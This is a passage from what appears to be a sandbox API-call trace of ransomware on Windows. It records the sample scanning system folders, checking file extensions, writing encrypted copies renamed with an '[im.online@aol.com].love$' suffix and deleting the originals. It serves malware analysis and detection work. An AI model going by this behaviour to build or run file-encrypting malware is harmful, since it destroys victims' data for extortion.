dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.694] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=76640) returned 1 [0283.694] CloseHandle (hObject=0x318) returned 1 [0283.694] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0283.694] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.694] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.694] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.694] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.694] lstrlenW (lpString=".doc") returned 4 [0283.694] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.694] lstrlenW (lpString=".docx") returned 5 [0283.694] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.694] lstrlenW (lpString=".pdf") returned 4 [0283.694] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString=".xls") returned 4 [0283.695] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString=".xlsx") returned 5 [0283.695] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.695] lstrlenW (lpString=".ppt") returned 4 [0283.695] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString=".zip") returned 4 [0283.695] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString=".rar") returned 4 [0283.695] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString=".bz2") returned 4 [0283.695] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.695] lstrlenW (lpString=".7z") returned 3 [0283.695] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString=".dbf") returned 4 [0283.695] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString=".1cd") returned 4 [0283.695] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString=".jpg") returned 4 [0283.695] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.695] lstrlenW (lpString=".doc") returned 4 [0283.695] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.695] lstrlenW (lpString=".docx") returned 5 [0283.695] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.695] lstrlenW (lpString=".pdf") returned 4 [0283.695] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.695] lstrlenW (lpString=".xls") returned 4 [0283.696] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.696] lstrlenW (lpString=".xlsx") returned 5 [0283.696] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.696] lstrlenW (lpString=".ppt") returned 4 [0283.696] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.696] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.696] lstrlenW (lpString=".zip") returned 4 [0283.696] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.696] lstrlenW (lpString=".rar") returned 4 [0283.696] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.696] lstrlenW (lpString=".bz2") returned 4 [0283.696] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.696] lstrlenW (lpString=".7z") returned 3 [0283.696] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.696] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.696] lstrlenW (lpString=".dbf") returned 4 [0283.696] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.696] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.696] lstrlenW (lpString=".1cd") returned 4 [0283.696] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.696] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0283.696] lstrlenW (lpString=".jpg") returned 4 [0283.696] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.696] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.696] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.696] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.697] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=77152) returned 1 [0283.697] CloseHandle (hObject=0x318) returned 1 [0283.697] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0283.697] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.697] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString=".doc") returned 4 [0283.698] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.698] lstrlenW (lpString=".docx") returned 5 [0283.698] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.698] lstrlenW (lpString=".pdf") returned 4 [0283.698] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.698] lstrlenW (lpString=".xls") returned 4 [0283.698] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.698] lstrlenW (lpString=".xlsx") returned 5 [0283.698] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.698] lstrlenW (lpString=".ppt") returned 4 [0283.698] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString=".zip") returned 4 [0283.698] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.698] lstrlenW (lpString=".rar") returned 4 [0283.698] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.698] lstrlenW (lpString=".bz2") returned 4 [0283.698] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.698] lstrlenW (lpString=".7z") returned 3 [0283.698] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString=".dbf") returned 4 [0283.698] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString=".1cd") returned 4 [0283.698] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.698] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.698] lstrlenW (lpString=".jpg") returned 4 [0283.698] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString=".doc") returned 4 [0283.699] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.699] lstrlenW (lpString=".docx") returned 5 [0283.699] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.699] lstrlenW (lpString=".pdf") returned 4 [0283.699] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.699] lstrlenW (lpString=".xls") returned 4 [0283.699] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.699] lstrlenW (lpString=".xlsx") returned 5 [0283.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.699] lstrlenW (lpString=".ppt") returned 4 [0283.699] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString=".zip") returned 4 [0283.699] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.699] lstrlenW (lpString=".rar") returned 4 [0283.699] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.699] lstrlenW (lpString=".bz2") returned 4 [0283.699] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.699] lstrlenW (lpString=".7z") returned 3 [0283.699] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString=".dbf") returned 4 [0283.699] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString=".1cd") returned 4 [0283.699] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.699] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0283.699] lstrlenW (lpString=".jpg") returned 4 [0283.699] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.700] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.700] lstrlenW (lpString="memtest.exe.mui") returned 15 [0283.700] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.700] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=44888) returned 1 [0283.700] CloseHandle (hObject=0x318) returned 1 [0283.700] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0283.701] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.701] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.701] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0283.701] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0283.701] lstrlenW (lpString=".doc") returned 4 [0283.701] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.701] lstrlenW (lpString=".docx") returned 5 [0283.701] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.701] lstrlenW (lpString=".pdf") returned 4 [0283.701] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.701] lstrlenW (lpString=".xls") returned 4 [0283.701] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.701] lstrlenW (lpString=".xlsx") returned 5 [0283.701] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.701] lstrlenW (lpString=".ppt") returned 4 [0283.701] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.701] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0283.701] lstrlenW (lpString=".zip") returned 4 [0283.701] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.701] lstrlenW (lpString=".rar") returned 4 [0283.701] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.701] lstrlenW (lpString=".bz2") returned 4 [0283.701] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.701] lstrlenW (lpString=".7z") returned 3 [0283.701] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.704] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0283.704] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.706] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.706] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0283.707] GetLastError () returned 0x0 [0283.707] ReadFile (in: hFile=0x318, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0283.961] WriteFile (in: hFile=0x31c, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0283.962] ReadFile (in: hFile=0x318, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.962] WriteFile (in: hFile=0x31c, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.962] SetEndOfFile (hFile=0x31c) returned 1 [0283.962] CloseHandle (hObject=0x31c) returned 1 [0283.963] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.963] SetEndOfFile (hFile=0x318) returned 1 [0283.968] CloseHandle (hObject=0x318) returned 1 [0283.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.090] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString=".doc") returned 4 [0284.091] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0284.091] lstrlenW (lpString=".docx") returned 5 [0284.091] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0284.091] lstrlenW (lpString=".pdf") returned 4 [0284.091] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0284.091] lstrlenW (lpString=".xls") returned 4 [0284.091] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0284.091] lstrlenW (lpString=".xlsx") returned 5 [0284.091] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0284.091] lstrlenW (lpString=".ppt") returned 4 [0284.091] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString=".zip") returned 4 [0284.091] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0284.091] lstrlenW (lpString=".rar") returned 4 [0284.091] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0284.091] lstrlenW (lpString=".bz2") returned 4 [0284.091] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0284.091] lstrlenW (lpString=".7z") returned 3 [0284.091] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString=".dbf") returned 4 [0284.091] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString=".1cd") returned 4 [0284.091] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.091] lstrlenW (lpString=".jpg") returned 4 [0284.091] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0284.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString=".doc") returned 4 [0284.092] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0284.092] lstrlenW (lpString=".docx") returned 5 [0284.092] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0284.092] lstrlenW (lpString=".pdf") returned 4 [0284.092] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0284.092] lstrlenW (lpString=".xls") returned 4 [0284.092] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0284.092] lstrlenW (lpString=".xlsx") returned 5 [0284.092] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0284.092] lstrlenW (lpString=".ppt") returned 4 [0284.092] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0284.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString=".zip") returned 4 [0284.092] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0284.092] lstrlenW (lpString=".rar") returned 4 [0284.092] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0284.092] lstrlenW (lpString=".bz2") returned 4 [0284.092] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0284.092] lstrlenW (lpString=".7z") returned 3 [0284.092] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0284.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString=".dbf") returned 4 [0284.092] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0284.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString=".1cd") returned 4 [0284.092] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0284.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0284.092] lstrlenW (lpString=".jpg") returned 4 [0284.092] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0284.093] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.093] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0284.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.229] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=18624) returned 1 [0284.329] CloseHandle (hObject=0x364) returned 1 [0284.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0284.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.330] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.330] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.333] GetLastError () returned 0x0 [0284.333] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0284.337] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0284.339] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.339] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x11a, lpOverlapped=0x0) returned 1 [0284.340] SetEndOfFile (hFile=0x360) returned 1 [0284.340] CloseHandle (hObject=0x360) returned 1 [0284.340] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.340] SetEndOfFile (hFile=0x364) returned 1 [0284.341] CloseHandle (hObject=0x364) returned 1 [0284.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0284.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.343] lstrlenW (lpString=".doc") returned 4 [0284.343] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString=".docx") returned 5 [0284.343] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.343] lstrlenW (lpString=".pdf") returned 4 [0284.343] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString=".xls") returned 4 [0284.343] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString=".xlsx") returned 5 [0284.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.343] lstrlenW (lpString=".ppt") returned 4 [0284.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.343] lstrlenW (lpString=".zip") returned 4 [0284.343] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString=".rar") returned 4 [0284.343] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.343] lstrlenW (lpString=".bz2") returned 4 [0284.343] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.343] lstrlenW (lpString=".7z") returned 3 [0284.344] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.344] lstrlenW (lpString=".dbf") returned 4 [0284.344] lstrcmpiW (lpString1=".dbf", 